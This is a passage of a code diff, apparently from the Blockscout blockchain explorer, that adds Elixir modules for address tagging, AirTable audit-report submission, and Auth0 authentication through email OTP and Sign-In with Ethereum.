"BRIDGED_TOKENS_POA_OMNI_BRIDGE_MEDIATOR" + ], + "omni bridge" + ) + end + + defp set_l2_tag do + set_tag_for_multiple_env_var_addresses(["CUSTOM_CONTRACT_ADDRESSES_AOX"], "l2") + end +end diff --git a/apps/explorer/lib/explorer/tags/address_to_tag.ex b/apps/explorer/lib/explorer/tags/address_to_tag.ex new file mode 100644 index 000000000000..23402a970958 --- /dev/null +++ b/apps/explorer/lib/explorer/tags/address_to_tag.ex @@ -0,0 +1,143 @@ +defmodule Explorer.Tags.AddressToTag do + @moduledoc """ + Represents Address to Tag relation. + """ + + use Explorer.Schema + + import Ecto.Changeset + + alias Explorer.{Chain, Repo} + alias Explorer.Chain.{Address, Hash} + alias Explorer.Tags.AddressTag + + # Notation.import_types(BlockScoutWeb.GraphQL.Schema.Types) + + @typedoc """ + * `:tag_id` - id of Tag + * `:address_hash` - hash of Address + """ + typed_schema "address_to_tags" do + belongs_to( + :tag, + AddressTag, + foreign_key: :tag_id, + references: :id, + type: :integer, + null: false + ) + + belongs_to( + :address, + Address, + foreign_key: :address_hash, + references: :hash, + type: Hash.Address, + null: false + ) + + timestamps() + end + + @required_attrs ~w(address_hash tag_id)a + + @doc false + def changeset(struct, params \\ %{}) do + struct + |> cast(params, @required_attrs) + |> unique_constraint([:address_hash, :tag_id], name: :address_to_tags_address_hash_tag_id_index) + end + + defp get_address_hashes_mapped_to_tag(nil), do: nil + + defp get_address_hashes_mapped_to_tag(tag_id) do + query = + from( + att in __MODULE__, + where: att.tag_id == ^tag_id, + select: att.address_hash + ) + + query + |> Repo.all() + end + + @spec set_tag_to_addresses(non_neg_integer(), list()) :: any() + def set_tag_to_addresses(tag_id, address_hash_string_list) do + current_address_hashes = get_address_hashes_mapped_to_tag(tag_id) + + if current_address_hashes do + current_address_hashes_strings = + current_address_hashes + |> Enum.map(fn address_hash -> + to_string(address_hash) + end) + + current_address_hashes_strings_tuples = MapSet.new(current_address_hashes_strings) + new_address_hashes_strings_tuples = MapSet.new(address_hash_string_list) + + all_tuples = MapSet.union(current_address_hashes_strings_tuples, new_address_hashes_strings_tuples) + + addresses_to_delete = + all_tuples + |> MapSet.difference(new_address_hashes_strings_tuples) + |> MapSet.to_list() + + addresses_to_add = + all_tuples + |> MapSet.difference(current_address_hashes_strings_tuples) + |> MapSet.to_list() + + changeset_to_add_list = + addresses_to_add + |> Enum.map(fn address_hash_string -> + with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), + :ok <- Address.check_address_exists(address_hash) do + %{ + tag_id: tag_id, + address_hash: address_hash, + inserted_at: DateTime.utc_now(), + updated_at: DateTime.utc_now() + } + else + _ -> + nil + end + end) + |> Enum.filter(&(!is_nil(&1))) + + unless Enum.empty?(addresses_to_delete) do + delete_query_base = + from( + att in __MODULE__, + where: att.tag_id == ^tag_id + ) + + delete_query = + delete_query_base + |> where_addresses(addresses_to_delete) + + Repo.delete_all(delete_query) + end + + Repo.insert_all(__MODULE__, changeset_to_add_list, + on_conflict: :nothing, + conflict_target: [:address_hash, :tag_id] + ) + end + end + + defp where_addresses(query, addresses_to_delete) do + addresses_to_delete + |> Enum.reduce(query, fn address_hash_string, acc -> + case Chain.string_to_address_hash(address_hash_string) do + {:ok, address_hash} -> + acc + |> where(address_hash: ^address_hash) + + _ -> + acc + end + end) + end +end diff --git a/apps/explorer/lib/explorer/third_party_integrations/airtable_audit_report.ex b/apps/explorer/lib/explorer/third_party_integrations/airtable_audit_report.ex new file mode 100644 index 000000000000..3e0c7ce5ae9f --- /dev/null +++ b/apps/explorer/lib/explorer/third_party_integrations/airtable_audit_report.ex @@ -0,0 +1,61 @@ +defmodule Explorer.ThirdPartyIntegrations.AirTableAuditReport do + @moduledoc """ + Module is responsible for submitting audit reports to AirTable + """ + require Logger + + alias Ecto.Changeset + alias Explorer.Chain.SmartContract.AuditReport + alias Explorer.HttpClient + + @doc """ + Submits a public tags request or audit report to AirTable + """ + @spec submit(Changeset.t()) :: Changeset.t() + @spec submit({:ok, AuditReport.t()} | {:error, Changeset.t()}, Changeset.t()) :: Changeset.t() + + def submit(%Changeset{} = changeset), do: submit(Changeset.apply_action(changeset, :insert), changeset) + + def submit({:ok, %AuditReport{} = audit_report}, changeset) do + submit_entry( + AuditReport.to_map(audit_report), + :air_table_audit_reports, + fn request_id -> + changeset + |> Changeset.put_change(:request_id, request_id) + end, + fn -> + changeset + |> Changeset.add_error(:smart_contract_address_hash, "AirTable error. Please try again later") + end + ) + end + + def submit(_error, changeset), do: changeset + + defp submit_entry(map, envs_key, success_callback, failure_callback) do + envs = Application.get_env(:explorer, envs_key) + api_key = envs[:api_key] + headers = [{"Authorization", "Bearer #{api_key}"}, {"Content-Type", "application/json"}] + url = envs[:table_url] + + body = %{ + "typecast" => true, + "records" => [%{"fields" => map}] + } + + request = HttpClient.post(url, Jason.encode!(body), headers) + + case request do + {:ok, %{body: body, status_code: 200}} -> + request_id = Enum.at(Jason.decode!(body)["records"], 0)["fields"]["request_id"] + + success_callback.(request_id) + + error -> + Logger.error(fn -> ["Error while submitting AirTable entry", inspect(error)] end) + + failure_callback.() + end + end +end diff --git a/apps/explorer/lib/explorer/third_party_integrations/auth0.ex b/apps/explorer/lib/explorer/third_party_integrations/auth0.ex new file mode 100644 index 000000000000..e48fdd44e6f7 --- /dev/null +++ b/apps/explorer/lib/explorer/third_party_integrations/auth0.ex @@ -0,0 +1,360 @@ +defmodule Explorer.ThirdPartyIntegrations.Auth0 do + @moduledoc """ + Module for fetching jwt Auth0 Management API (https://auth0.com/docs/api/management/v2) jwt + """ + require Logger + + alias Explorer.Account.Identity + alias Explorer.{Account, Helper, HttpClient} + alias Explorer.ThirdPartyIntegrations.Auth0.Internal + alias Ueberauth.Auth + alias Ueberauth.Strategy.Auth0.OAuth + + @request_siwe_message "Request Sign in with Ethereum message via /api/account/v2/siwe_message" + @wrong_nonce "Wrong nonce in message" + @misconfiguration_detected "Misconfiguration detected, please contact support." + @json_content_type [{"Content-type", "application/json"}] + + @doc """ + Retrieves a machine-to-machine JWT for interacting with the Auth0 Management API. + + This function first attempts to access a cached token. If no cached token is + found, it requests a new token from Auth0 and caches it for future use. + + ## Returns + - `nil` if token retrieval fails + - `String.t()` containing the JWT if successful + """ + @spec get_m2m_jwt() :: nil | String.t() + def get_m2m_jwt do + get_m2m_jwt_inner(Redix.command(:redix, ["GET", Internal.redis_key()])) + end + + def get_m2m_jwt_inner({:ok, token}) when not is_nil(token), do: token + + def get_m2m_jwt_inner(_) do + config = Application.get_env(:ueberauth, OAuth) + + body = %{ + "client_id" => config[:client_id], + "client_secret" => config[:client_secret], + "audience" => "https://#{config[:domain]}/api/v2/", + "grant_type" => "client_credentials" + } + + case HttpClient.post("https://#{config[:domain]}/oauth/token", Jason.encode!(body), @json_content_type) do + {:ok, %{status_code: 200, body: body}} -> + case Jason.decode!(body) do + %{"access_token" => token, "expires_in" => ttl} -> + cache_token(token, ttl - 1) + + _ -> + nil + end + + _ -> + nil + end + end + + @doc """ + Generates a key from chain_id and cookie hash for storing in Redis. + + This function combines the chain_id (if available) with the provided hash to + create a unique key for Redis storage. + + ## Parameters + - `hash`: The hash to be combined with the chain_id + + ## Returns + - `String.t()` representing the generated key + """ + @spec cookie_key(binary) :: String.t() + def cookie_key(hash) do + chain_id = Application.get_env(:block_scout_web, :chain_id) + + if chain_id do + chain_id <> "_" <> hash + else + hash + end + end + + defp cache_token(token, ttl) do + Redix.command(:redix, ["SET", Internal.redis_key(), token, "EX", ttl]) + token + end + + @doc """ + Sends a one-time password (OTP) for linking an email to an existing account. + + This function checks if the email is already associated with an account before + sending the OTP. If the email is already in use, it returns an error. + + ## Parameters + - `email`: The email address to send the OTP to + - `ip`: The IP address of the requester + + ## Returns + - `:ok` if the OTP was sent successfully + - `{:error, String.t()}` error with the description + - `:error` if there was an unexpected error + """ + @spec send_otp_for_linking(String.t(), String.t()) :: :error | :ok | {:error, String.t()} + def send_otp_for_linking(email, ip) do + case Internal.find_users_by_email(email) do + {:ok, []} -> + Internal.send_otp(email, ip) + + {:ok, users} when is_list(users) and length(users) > 0 -> + {:error, "Account with this email already exists"} + + error -> + error + end + end + + @doc """ + Sends a one-time password (OTP) to the specified email address. + + This function checks if the email is associated with an existing user before + sending the OTP. If the user exists, it checks time interval and sends the OTP + or reports when the user can request a new OTP. + + ## Parameters + - `email`: The email address to send the OTP to + - `ip`: The IP address of the requester + + ## Returns + - `:ok` if the OTP was sent successfully + - `:error` if there was an unexpected error + - `{:interval, integer()}` if the user need to wait before sending the OTP + """ + @spec send_otp(String.t(), String.t()) :: :error | :ok | {:interval, integer()} + def send_otp(email, ip) do + case Internal.find_users_by_email(email) do + {:ok, []} -> + Internal.send_otp(email, ip) + + {:ok, [user | _]} -> + Internal.handle_existing_user(user, email, ip) + + error -> + error + end + end + + @doc """ + Links an email to an existing user account using a one-time password (OTP). + + This function verifies the OTP, creates a new identity for the email, and links + it to the existing user account. + + ## Parameters + - `primary_user_id`: The ID of the existing user account + - `email`: The email address to be linked + - `otp`: The one-time password for verification + - `ip`: The IP address of the requester + + ## Returns + - `{:ok, Auth.t()}` if the email was successfully linked + - `{:error, String.t()}` error with the description + - `:error` if there was an unexpected error + """ + @spec link_email(Identity.session(), String.t(), String.t(), String.t()) :: + :error | {:ok, Auth.t()} | {:error, String.t()} + def link_email(%{uid: user_id_without_email, email: nil}, email, otp, ip) do + case Internal.find_users_by_email(email) do + {:ok, []} -> + with {:ok, token} <- Internal.confirm_otp(email, otp, ip), + {:ok, %{"sub" => user_id_with_email}} <- Internal.get_user_from_token(token), + {:ok, user} <- Internal.link_email(user_id_without_email, user_id_with_email, email) do + {:ok, Internal.create_auth(user)} + end + + {:ok, users} when is_list(users) -> + {:error, "Account with this email already exists"} + + error -> + error + end + end + + def link_email(_account_with_email, _, _, _), do: {:error, "This account already has an email"} + + @doc """ + Confirms a one-time password (OTP) and retrieves authentication information. + + This function verifies the OTP for the given email and returns the + authentication information if successful. + + ## Parameters + - `email`: The email address associated with the OTP + - `otp`: The one-time password to be confirmed + - `ip`: The IP address of the requester + + ## Returns + - `{:ok, Auth.t()}` if the OTP is confirmed and authentication is successful + - `{:error, String.t()}` error with the description + - `:error` if there was an unexpected error + """ + @spec confirm_otp_and_get_auth(String.t(), String.t(), String.t()) :: :error | {:error, String.t()} | {:ok, Auth.t()} + def confirm_otp_and_get_auth(email, otp, ip) do + with {:ok, token} <- Internal.confirm_otp(email, otp, ip), + {:ok, %{"sub" => user_id} = user} <- Internal.get_user_from_token(token), + {:search, _user_from_token, {:ok, user}} <- {:search, user, Internal.get_user_by_id(user_id)}, + {:ok, user} <- Internal.process_email_user(user) do + {:ok, Internal.create_auth(user)} + else + # newly created user, sometimes just created user with otp does not appear in the search + {:search, %{"sub" => _user_id} = user_from_token, {:error, "User not found"}} -> + Internal.handle_not_found_just_created_email_user(user_from_token) + + err -> + err + end + end + + @doc """ + Updates the session with the user's address hash. + + This function checks if the session already has an address hash. If not, it + retrieves the user's information and adds the address hash to the session. + + ## Parameters + - `session`: The current session map (Identity.session()) + + ## Returns + - `{:old, Identity.session()}` if the session already has an address hash + - `{:new, Identity.session()}` if the address hash was added to the session + """ + @spec update_session_with_address_hash(Identity.session()) :: {:old, Identity.session()} | {:new, Identity.session()} + def update_session_with_address_hash(session), + do: Internal.update_session_with_address_hash(session) + + @doc """ + Generates a Sign-In with Ethereum (SIWE) message for the given address. + + This function creates a SIWE message with a unique nonce, caches the nonce, + and returns the formatted message string. + + ## Parameters + - `address`: The Ethereum address for which to generate the SIWE message + + ## Returns + - `{:ok, String.t()}` containing the generated SIWE message + - `{:error, String.t()}` error with the description + """ + @spec generate_siwe_message(String.t()) :: {:ok, String.t()} | {:error, String.t()} + def generate_siwe_message(address) do + nonce = Siwe.generate_nonce() + {int_chain_id, _} = Integer.parse(Application.get_env(:block_scout_web, :chain_id)) + + message = %Siwe.Message{ + domain: Helper.get_app_host(), + address: address, + statement: Application.get_env(:explorer, Account)[:siwe_message], + uri: + Application.get_env(:block_scout_web, BlockScoutWeb.Endpoint)[:url][:scheme] <> + "://" <> Helper.get_app_host(), + version: "1", + chain_id: int_chain_id, + nonce: nonce, + issued_at: DateTime.utc_now() |> DateTime.to_iso8601(), + expiration_time: DateTime.utc_now() |> DateTime.add(300, :second) |> DateTime.to_iso8601() + } + + with {:cache, {:ok, _nonce}} <- {:cache, Internal.cache_nonce_for_address(nonce, address)}, + {:message, {:ok, message}} <- {:message, Siwe.to_str(message)} do + {:ok, message} + else + {:cache, {:error, error}} -> + Logger.error("Error while caching nonce: #{inspect(error)}") + {:error, @misconfiguration_detected} + + {:message, {:error, error}} -> + Logger.error("Error while generating Sign in with Ethereum Message: #{inspect(error)}") + {:error, error} + end + end + + @doc """ + Links an Ethereum address to an existing user account. + + This function verifies the SIWE message and signature, checks for existing + users with the same address, and updates the user's account with the new + address. + + ## Parameters + - `user_id`: The ID of the existing user account + - `message`: The SIWE message + - `signature`: The signature of the SIWE message + + ## Returns + - `{:ok, Auth.t()}` if the address was successfully linked + - `{:error, String.t()}` error with the description + - `:error` if there was an unexpected error + """ + @spec link_address(String.t(), String.t(), String.t()) :: :error | {:error, String.t()} | {:ok, Auth.t()} + def link_address(user_id, message, signature) do + with {:signature, {:ok, %{nonce: nonce, address: address}}} <- + {:signature, message |> String.trim() |> Siwe.parse_if_valid(signature)}, + {:nonce, {:ok, ^nonce}} <- {:nonce, Internal.get_nonce_for_address(address)}, + {:user, {:ok, []}} <- {:user, Internal.find_users_by_web3_address(address)}, + {:ok, user} <- Internal.update_user_with_web3_address(user_id, address) do + {:ok, Internal.create_auth(user)} + else + {:nonce, {:ok, _}} -> + {:error, @wrong_nonce} + + {:nonce, _} -> + {:error, @request_siwe_message} + + {:signature, error} -> + error + + {:user, {:ok, _users}} -> + {:error, "Account with this address already exists"} + + {:user, error} -> + error + + other -> + other + end + end + + @doc """ + Authenticates a user using a Sign-In with Ethereum (SIWE) message and signature. + + This function verifies the SIWE message and signature, finds or creates a user + associated with the Ethereum address, and returns the authentication information. + + ## Parameters + - `message`: The SIWE message + - `signature`: The signature of the SIWE message + + ## Returns + - `{:ok, Auth.t()}` if authentication is successful + - `{:error, String.t()}` error with the description + - `:error` if there was an unexpected error + """ + @spec get_auth_with_web3(String.t(), String.t()) :: :error | {:error, String.t()} | {:ok, Auth.t()} + def get_auth_with_web3(message, signature) do + with {:signature, {:ok, %{nonce: nonce, address: address}}} <- + {:signature, message |> String.trim() |> Siwe.parse_if_valid(signature)}, + {:nonce, {:ok, ^nonce}} <- {:nonce, Internal.get_nonce_for_address(address)}, + {:user, {:ok, user}} <- {:user, Internal.process_web3_user(address, signature)} do + {:ok, Internal.create_auth(user)} + else + {:nonce, {:ok, nil}} -> + {:error, @request_siwe_message} + + {:nonce, {:ok, _}} -> + {:error, @wrong_nonce} + + {_step, error} -> + error + end + end +end diff --git a/apps/explorer/lib/explorer/third_party_integrations/auth0/internal.ex b/apps/explorer/lib/explorer/third_party_integrations/auth0/internal.ex new file mode 100644 index 000000000000..685f2a43df47 --- /dev/null +++ b/apps/explorer/lib/explorer/third_party_integrations/auth0/internal.ex @@ -0,0 +1,663 @@ +defmodule Explorer.ThirdPartyIntegrations.Auth0.Internal do + @moduledoc """ + Module for internal usage, not supposed to be used directly, if + you want to interact with Auth0, use `Explorer.ThirdPartyIntegrations.Auth0`. + + Provides internal implementation for Auth0 authentication functionality. + + This module handles core Auth0 operations including user management, OTP verification, + web3 authentication, and user identity handling. It supports both legacy and migrated + Auth0 configurations, and implements various authentication flows such as email-based + OTP authentication and web3 wallet-based authentication. + + The module serves as the internal implementation layer for the Explorer application's + Auth0 integration, managing API interactions with Auth0 services while providing error + handling and logging capabilities. + """ + + require Logger + + alias Explorer.Account.Identity + alias Explorer.{Account, Helper, Repo} + alias Explorer.Chain.Address + alias Explorer.ThirdPartyIntegrations.Auth0 + alias Explorer.ThirdPartyIntegrations.Auth0.{Legacy, Migrated} + alias OAuth2.{AccessToken, Client} + alias Ueberauth.Strategy.Auth0.OAuth + + @misconfiguration_detected "Misconfiguration detected, please contact support." + @disabled_otp_error_description "Grant type 'http://auth0.com/oauth/grant-type/passwordless/otp' not allowed for the client." + @users_path "/api/v2/users" + @json_content_type [{"Content-type", "application/json"}] + + def users_path, do: @users_path + def json_content_type, do: @json_content_type + + @doc """ + Returns the Redis key prefix for Auth0-related cached data. + + Delegates to the appropriate Auth0 module (Legacy or Migrated) to provide the + correct Redis key prefix based on the current Auth0 configuration: + - Legacy: Returns "auth0" + - Migrated: Returns "auth0_migrated" + + ## Returns + - `String.t()`: The Redis key prefix to use for Auth0-related data + """ + @spec redis_key() :: String.t() + def redis_key do + auth0_module().redis_key() + end + + @doc """ + Searches for Auth0 users by email address. + + Encodes the email, creates a query using the appropriate Auth0 module + (Legacy or Migrated), and searches for users matching the query. + + ## Parameters + - `email`: The email address to search for + + ## Returns + - `{:ok, [map()]}`: List of user objects if successful + - `:error`: If an unspecified error occurs + - `{:error, String.t()}`: If a known error occurs with error message + """ + @spec find_users_by_email(String.t()) :: {:ok, [map()]} | :error | {:error, String.t()} + def find_users_by_email(email) do + email + |> URI.encode() + |> auth0_module().find_users_by_email_query() + |> find_users("Failed to search user by email") + end + + @doc """ + Searches for Auth0 users based on a provided query string. + + Obtains an M2M JWT token, creates an OAuth client, and sends a request to the Auth0 + Users API with the provided query. Handles any errors through the common error + handling mechanism. + + ## Parameters + - `q`: The query string for searching users in Auth0 + - `error_message`: Custom error message for logging (defaults to "Failed to find users") + + ## Returns + - `{:ok, [map()]}`: List of user objects if successful + - `:error`: If an unspecified error occurs + - `{:error, String.t()}`: If a known error occurs with error message + """ + @spec find_users(String.t(), String.t()) :: {:ok, [map()]} | :error | {:error, String.t()} + def find_users(q, error_message \\ "Failed to find users") do + with token when is_binary(token) <- Auth0.get_m2m_jwt(), + client = OAuth.client(token: token), + {:ok, %OAuth2.Response{status_code: 200, body: users}} when is_list(users) <- + Client.get(client, @users_path, [], params: [q: q]) do + {:ok, users} + else + error -> handle_common_errors(error, error_message) + end + end + + @doc """ + Sends a one-time password (OTP) to the specified email address. + + Initiates the Auth0 passwordless authentication flow by requesting an OTP code be + sent to the user's email. Includes the client's IP address in the request for audit + and security purposes. + + ## Parameters + - `email`: The email address to which the OTP will be sent + - `ip`: The IP address of the client requesting the OTP + + ## Returns + - `:ok`: If the OTP was successfully sent + - `:error`: If there was an error sending the OTP + """ + @spec send_otp(String.t(), String.t()) :: :ok | :error + def send_otp(email, ip) do + client = OAuth.client() + + body = + %{ + email: email, + connection: :email, + send: :code + } + |> put_client_id_and_secret() + + headers = [{"auth0-forwarded-for", ip} | @json_content_type] + + case Client.post(client, "/passwordless/start", body, headers) do + {:ok, %OAuth2.Response{status_code: 200}} -> + :ok + + other -> + Logger.error("Error while sending otp: ", inspect(other)) + + :error + end + end + + @doc """ + Processes an existing Auth0 user and manages OTP authentication flow. + + Creates an auth structure from the user, finds the corresponding identity record, + and handles the identity by either sending an OTP or checking the resend interval. + + ## Parameters + - `user`: The Auth0 user map containing user information + - `email`: The email address of the user + - `ip`: The IP address of the client making the request + + ## Returns + - `:ok`: If OTP was successfully sent + - `:error`: If there was an error in the process + - `{:interval, integer()}`: If OTP was recently sent and the resend interval hasn't elapsed + """ + @spec handle_existing_user(map(), String.t(), String.t()) :: :ok | :error | {:interval, integer()} + def handle_existing_user(user, email, ip) do + user + |> create_auth() + |> Identity.find_identity() + |> handle_identity(email, ip) + end + + @doc """ + Validates a one-time password (OTP) for the specified email. + + Attempts to authenticate with Auth0 using the provided email and OTP code. Includes + the client's IP address for audit and security purposes. Handles various error + scenarios with specific error messages. + + ## Parameters + - `email`: The email address associated with the OTP + - `otp`: The one-time password code to validate + - `ip`: The IP address of the client submitting the OTP + + ## Returns + - `{:ok, AccessToken.t()}`: Access token if OTP validation succeeds + - `{:error, "Wrong verification code."}`: If the OTP is incorrect + - `{:error, "Max attempts reached. Please resend code."}`: If maximum attempt limit exceeded + - `{:error, String.t()}`: For other known errors with descriptive messages + - `:error`: For unspecified errors + """ + @spec confirm_otp(String.t(), String.t(), String.t()) :: {:ok, AccessToken.t()} | :error | {:error, String.t()} + def confirm_otp(email, otp, ip) do + client = OAuth.client() + + body = + email + |> auth0_module().confirm_otp_body(otp) + |> put_client_id_and_secret() + + headers = [{"auth0-forwarded-for", ip} | @json_content_type] + + case Client.post(client, "/oauth/token", body, headers) do + {:ok, %OAuth2.Response{status_code: 200, body: body}} -> + {:ok, AccessToken.new(body)} + + {:error, + %OAuth2.Response{ + status_code: 403, + body: + %{ + "error" => "unauthorized_client", + "error_description" => @disabled_otp_error_description, + "error_uri" => "https://auth0.com/docs/clients/client-grant-types" + } = body + }} -> + Logger.error("Need to enable OTP: #{inspect(body)}") + {:error, @misconfiguration_detected} + + {:error, + %OAuth2.Response{ + status_code: 403, + body: %{"error" => "invalid_grant", "error_description" => "Wrong email or verification code."} + }} -> + {:error, "Wrong verification code."} + + {:error, + %OAuth2.Response{ + status_code: 403, + body: %{ + "error" => "invalid_grant", + "error_description" => "You've reached the maximum number of attempts. Please try to login again." + } + }} -> + {:error, "Max attempts reached. Please resend code."} + + other -> + Logger.error("Error while confirming otp: #{inspect(other)}") + + :error + end + end + + @doc """ + Extracts user information from an Auth0 access token. + + Retrieves the user claims from the ID token within the access token. Handles two + scenarios: tokens with valid ID tokens, and tokens missing ID tokens. + + ## Parameters + - `token`: The OAuth2 AccessToken struct containing Auth0 authentication information + + ## Returns + - `{:ok, map()}`: User claims if successfully extracted from the token + - `:error`: If there was an error decoding the claims + - `{:error, String.t()}`: If the token doesn't contain an ID token + """ + @spec get_user_from_token(AccessToken.t()) :: {:ok, map()} | :error | {:error, String.t()} + def get_user_from_token(%AccessToken{other_params: %{"id_token" => token}}) do + case Joken.peek_claims(token) do + {:ok, %{"sub" => _} = user} -> + {:ok, user} + + error -> + Logger.error("Error while peeking claims from token: #{inspect(error)}") + :error + end + end + + def get_user_from_token(token) do + Logger.error("No id_token in token: #{inspect(Map.update(token, :access_token, "xxx", fn _ -> "xxx" end))}") + + {:error, @misconfiguration_detected} + end + + @doc """ + Links an email-based identity to a user who doesn't have an email. + + Delegates to the appropriate Auth0 module implementation (Legacy or Migrated) to + associate an email address with a user. The implementation varies depending on + the Auth0 configuration: + - Legacy: Links the users and updates the email for the user without email + - Migrated: Transfers metadata between users and updates both user records + + ## Parameters + - `user_id_without_email`: The ID of the user who doesn't have an email + - `user_id_with_email`: The ID of the user who has the email to be linked + - `email`: The email address to link + + ## Returns + - `{:ok, map()}`: User information if linking was successful + - `:error`: If an unspecified error occurs + - `{:error, String.t()}`: If a known error occurs with error message + """ + @spec link_email(String.t(), String.t(), String.t()) :: {:ok, map()} | :error | {:error, String.t()} + def link_email(user_id_without_email, user_id_with_email, email) do + auth0_module().link_email(user_id_without_email, user_id_with_email, email) + end + + @doc """ + Creates a Ueberauth authentication structure from an Auth0 user. + + Delegates to the appropriate Auth0 module (Legacy or Migrated) to construct a + standardized Ueberauth.Auth struct from an Auth0 user object. The implementation + varies based on the Auth0 configuration: + - Legacy: Uses the user_id directly from the user object + - Migrated: Extracts the user_id from nested metadata within the user object + + ## Parameters + - `user`: Map containing Auth0 user information + + ## Returns + - `Ueberauth.Auth.t()`: A structured authentication object containing user information + """ + @spec create_auth(map()) :: Ueberauth.Auth.t() + def create_auth(user) do + auth0_module().create_auth(user) + end + + @doc """ + Retrieves Auth0 user information by user ID. + + Obtains an M2M JWT token, creates an OAuth client, and sends a request to the Auth0 + Users API with the specified user ID. Returns the user information or handles errors + appropriately. + + ## Parameters + - `id`: The Auth0 user ID to retrieve + + ## Returns + - `{:ok, map()}`: User information if found + - `{:error, "User not found"}`: If the user ID doesn't exist + - `:error`: If an unspecified error occurs + - `{:error, String.t()}`: If a known error occurs with error message + """ + @spec get_user_by_id(String.t()) :: {:ok, map()} | :error | {:error, String.t()} + def get_user_by_id(id) do + with token when is_binary(token) <- Auth0.get_m2m_jwt(), + client = OAuth.client(token: token), + {:ok, %OAuth2.Response{status_code: 200, body: %{"user_id" => ^id} = user}} <- + Client.get(client, "#{@users_path}/#{URI.encode(id)}") do + {:ok, user} + else + {:error, %OAuth2.Response{status_code: 404}} -> {:error, "User not found"} + error -> handle_common_errors(error, "Failed to get user by id") + end + end + + @doc """ + Processes an email-based Auth0 user account. + + Delegates to the appropriate Auth0 module based on configuration. The behavior + differs between implementations: + - Legacy: Attempts to link the email user with existing accounts having the same + email address, potentially merging multiple accounts + - Migrated: Updates the user with application-specific metadata if not already + present + + ## Parameters + - `user`: Map containing Auth0 user information + + ## Returns + - `{:ok, map()}`: User information after processing + - `:error`: If an unspecified error occurs + - `{:error, String.t()}`: If a known error occurs with error message + """ + @spec process_email_user(map()) :: {:ok, map()} | :error | {:error, String.t()} + def process_email_user(user) do + auth0_module().process_email_user(user) + end + + @spec handle_not_found_just_created_email_user(map()) :: {:ok, Ueberauth.Auth.t()} + def handle_not_found_just_created_email_user(user_from_token) do + auth0_module().handle_not_found_just_created_email_user(user_from_token) + end + + @doc """ + Ensures a session contains an address hash value. + + For sessions that already have an address hash, returns the unchanged session. + For sessions without an address hash but with a user ID, retrieves the user from + Auth0 and adds the address hash to the session. Uses different retrieval methods + based on Auth0 module configuration: + - Legacy: Retrieves the user directly by ID + - Migrated: Finds the user by querying metadata for the application-specific user ID + + ## Parameters + - `session`: Map containing session information + + ## Returns + - `{:old, map()}`: The original session if it already contains an address hash or if + retrieval fails + - `{:new, map()}`: Updated session with the address hash if retrieval succeeds + """ + @spec update_session_with_address_hash(map()) :: + {:new, %{:address_hash => nil | binary(), optional(any()) => any()}} + | {:old, map()} + def update_session_with_address_hash(%{address_hash: _} = session), do: {:old, session} + + def update_session_with_address_hash(%{uid: user_id} = session) do + case auth0_module().get_user_by_id_from_session(user_id) do + {:ok, user} -> + {:new, Map.put(session, :address_hash, user |> create_auth() |> Identity.address_hash_from_auth())} + + error -> + Logger.error("Error when updating session with address hash: #{inspect(error)}") + {:old, session} + end + end + + @doc """ + Caches a nonce value for Sign-In with Ethereum (SIWE) authentication. + + Stores the provided nonce in Redis with an expiration time of 300 seconds (5 minutes), + using a key derived from the wallet address. This cached nonce is used for the SIWE + authentication flow to prevent replay attacks. + + ## Parameters + - `nonce`: The random nonce value to cache + - `address`: The Ethereum wallet address associated with the nonce + + ## Returns + - `{:ok, nonce}`: If the nonce was successfully cached + - `{:error, reason}`: If there was an error caching the nonce + """ + @spec cache_nonce_for_address(nonce, String.t()) :: + {:ok, nonce} | {:error, atom() | Redix.Error.t() | Redix.ConnectionError.t()} + when nonce: String.t() + def cache_nonce_for_address(nonce, address) do + case Redix.command(:redix, ["SET", Auth0.cookie_key(address <> "siwe_nonce"), nonce, "EX", 300]) do + {:ok, _} -> {:ok, nonce} + error -> error + end + end + + def get_nonce_for_address(address_hash) do + cookie_key = Auth0.cookie_key(Address.checksum(address_hash) <> "siwe_nonce") + + with {:get, {:ok, nonce}} <- {:get, Redix.command(:redix, ["GET", cookie_key])}, + {:del, {:ok, _}} <- {:del, Redix.command(:redix, ["DEL", cookie_key])} do + {:ok, nonce} + else + _ -> {:error, "Redis configuration problem, please contact support."} + end + end + + @doc """ + Searches for Auth0 users associated with a specific web3 wallet address. + + Constructs a query using the appropriate Auth0 module implementation (Legacy or + Migrated) and searches for users matching the query. The search criteria differ + between implementations: + - Legacy: Searches across multiple fields including user_id and metadata + - Migrated: Searches specifically in the application-scoped metadata + + ## Parameters + - `address`: The web3 wallet address to search for + + ## Returns + - `{:ok, [map()]}`: List of user objects if successful + - `:error`: If an unspecified error occurs + - `{:error, String.t()}`: If a known error occurs with error message + """ + @spec find_users_by_web3_address(String.t()) :: {:ok, [map()]} | :error | {:error, String.t()} + def find_users_by_web3_address(address) do + address + |> auth0_module().find_users_by_web3_address_query() + |> find_users("Failed to find users by address") + end + + @doc """ + Associates a web3 wallet address with an Auth0 user. + + Delegates to the appropriate Auth0 module implementation (Legacy or Migrated) to + update the user's metadata with their web3 wallet address. The implementation + differs based on Auth0 configuration: + - Legacy: Directly updates the user's metadata with the address + - Migrated: First retrieves the user by session ID, then updates the application-scoped + metadata with the address + + ## Parameters + - `user_id`: The Auth0 user ID to update + - `address`: The web3 wallet address to associate with the user + + ## Returns + - `{:ok, map()}`: Updated user information if successful + - `:error`: If an unspecified error occurs + - `{:error, String.t()}`: If a known error occurs with error message + """ + @spec update_user_with_web3_address(String.t(), String.t()) :: {:ok, map()} | :error | {:error, String.t()} + def update_user_with_web3_address(user_id, address) do + auth0_module().update_user_with_web3_address(user_id, address) + end + + @doc """ + Updates an Auth0 user's information. + + Obtains an M2M JWT token, creates an OAuth client, and sends a PATCH request to the + Auth0 Users API to update the specified user with the provided data. Handles any + errors through the common error handling mechanism. + + ## Parameters + - `user_id`: The Auth0 user ID to update + - `body`: The data to update (usually a map that will be JSON-encoded) + - `error_message`: Custom error message for logging (defaults to "Failed to update user") + + ## Returns + - `{:ok, map()}`: Updated user information if successful + - `:error`: If an unspecified error occurs + - `{:error, String.t()}`: If a known error occurs with error message + """ + @spec update_user(String.t(), map(), String.t()) :: {:ok, map()} | :error | {:error, String.t()} + def update_user(user_id, body, error_message \\ "Failed to update user") do + with token when is_binary(token) <- Auth0.get_m2m_jwt(), + client = OAuth.client(token: token), + {:ok, %OAuth2.Response{status_code: 200, body: user}} <- + Client.patch(client, "#{@users_path}/#{URI.encode(user_id)}", body, @json_content_type) do + {:ok, user} + else + error -> handle_common_errors(error, error_message) + end + end + + @doc """ + Processes authentication for a web3 wallet address. + + Delegates to the appropriate Auth0 module (Legacy or 